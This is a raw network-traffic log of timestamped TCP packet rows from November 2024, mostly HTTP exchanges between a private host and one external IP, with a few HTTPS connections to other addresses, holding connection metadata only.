Nov 22, 2024 23:06:36.982059002 CET	443	49836	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:36.982063055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.982364893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.982422113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.982445955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.982486010 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.983161926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.983230114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.983376980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.983428001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.983959913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.984018087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.984026909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.984131098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.984780073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.984848022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.984888077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.984929085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.985642910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.985698938 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.985776901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.985836029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.986427069 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.986522913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.986572027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.987183094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.987266064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.987319946 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.987982035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.988045931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.988110065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.988193989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.988882065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.988977909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.989013910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.989028931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.989605904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.989655018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.989659071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.989754915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.990406036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.990458012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.990483999 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.990498066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.991216898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.991266966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.991452932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.991503000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.992021084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.992079973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.992163897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.992280006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.992834091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.992882013 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.992944956 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.993022919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.993642092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.993689060 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.993730068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.993772030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.994457006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.994585991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.994586945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.994695902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.995237112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.995286942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.995342016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.995445967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.996062040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.996109962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.996119022 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.996155977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.996851921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.996918917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.997020006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.997072935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.997682095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.997766972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.997792006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.997840881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.998498917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.998564005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.998590946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.998688936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.999309063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.999419928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:36.999460936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:36.999537945 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.000114918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.000179052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.000193119 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.000241041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.000910044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.000966072 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.000973940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.001080036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.001713037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.001799107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.001859903 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.043514013 CET	443	49835	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.047683001 CET	49835	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.047708988 CET	443	49835	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.048253059 CET	49835	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:37.048260927 CET	443	49835	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:37.067913055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.068088055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.068144083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.068170071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.068178892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.068191051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.068290949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.068900108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.068953037 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.068996906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.069056988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.069715977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.069864035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.069864988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.069911003 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.070508957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.070559978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.070622921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.070678949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.071307898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.071443081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.071510077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.072124958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.072237015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.072303057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.072952032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.073106050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.073200941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.073265076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.073733091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.073784113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.073904991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.073951006 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.074548006 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.074600935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.074661970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.074723005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.075377941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.075433016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.075562954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.075670004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.076190948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.076288939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.076306105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.076350927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.076952934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.077025890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.077085018 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.077240944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.077745914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.077797890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.077841997 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.078577995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.078649044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.078708887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.079375982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.079479933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.079544067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.080199957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.080307961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.080312967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.080513954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.081028938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.081084013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.081085920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.081175089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.081803083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.081907988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.081937075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.081964016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.082612038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.082739115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.082813978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.083466053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.083559990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.083566904 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.083652973 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.084218025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.084275961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.084331036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.084371090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.085031986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.085089922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.085146904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.085201025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.085849047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.085902929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.086087942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.086632013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.086694002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.086755037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.086808920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.087496996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.087560892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.087613106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.087652922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.088252068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.088301897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.088304043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.088355064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.101974010 CET	443	49843	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.102682114 CET	443	49842	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.102705002 CET	443	49844	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.102855921 CET	49843	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.102870941 CET	443	49843	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.103027105 CET	49844	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.103044033 CET	443	49844	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.103149891 CET	49842	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.103188038 CET	443	49842	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.103363037 CET	443	49843	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.103681087 CET	443	49842	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.104460001 CET	443	49844	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.104538918 CET	49844	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.104945898 CET	49843	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.105031967 CET	443	49843	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.105410099 CET	49842	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.105504036 CET	443	49842	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.109158039 CET	49844	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.109323978 CET	443	49844	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.154695988 CET	49843	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.154706955 CET	49844	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.154712915 CET	49842	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.154717922 CET	443	49844	23.209.72.17	192.168.2.5
Nov 22, 2024 23:06:37.192425013 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.192481041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.192504883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.192584991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.192854881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.192897081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.192903996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.193149090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.193662882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.193720102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.193741083 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.193778992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.194458008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.194508076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.194535971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.194638968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.195247889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.195382118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.195383072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.195421934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.196077108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.196125031 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.196145058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.196295977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.196878910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.196939945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.196993113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.197690964 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.197732925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.197804928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.198501110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.198574066 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.198590040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.198622942 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.199337959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.199392080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.199433088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.199512005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.200088024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.200180054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.200227022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.200270891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.200942993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.200969934 CET	49844	443	192.168.2.5	23.209.72.17
Nov 22, 2024 23:06:37.201071978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.201119900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.201731920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.201786995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.201817989 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.201991081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.202536106 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.202584028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.202629089 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.203351974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.203423977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.203458071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.203495979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.203644037 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.203752995 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.203901052 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.203932047 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.203953028 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.203998089 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.204135895 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.204164028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.204180956 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.204214096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.204250097 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.204294920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.204375982 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.204384089 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.204401970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.204471111 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.204633951 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.204679012 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.204763889 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.204916000 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.204942942 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.204942942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.204994917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.205035925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.205038071 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.205049992 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.205075979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.205152035 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.205182076 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.205234051 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.205245972 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.205344915 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:37.205362082 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:37.205775023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.205840111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.205866098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.205910921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.206588030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.206639051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.206686020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.206885099 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.207362890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.207525969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.207556009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.207597017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.208225965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.208376884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.208435059 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.209029913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.209112883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.209119081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.209151983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.209855080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.209964991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:37.209986925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:37.210036039 CET	49762	80	192.168.2.5	185.215.113.206
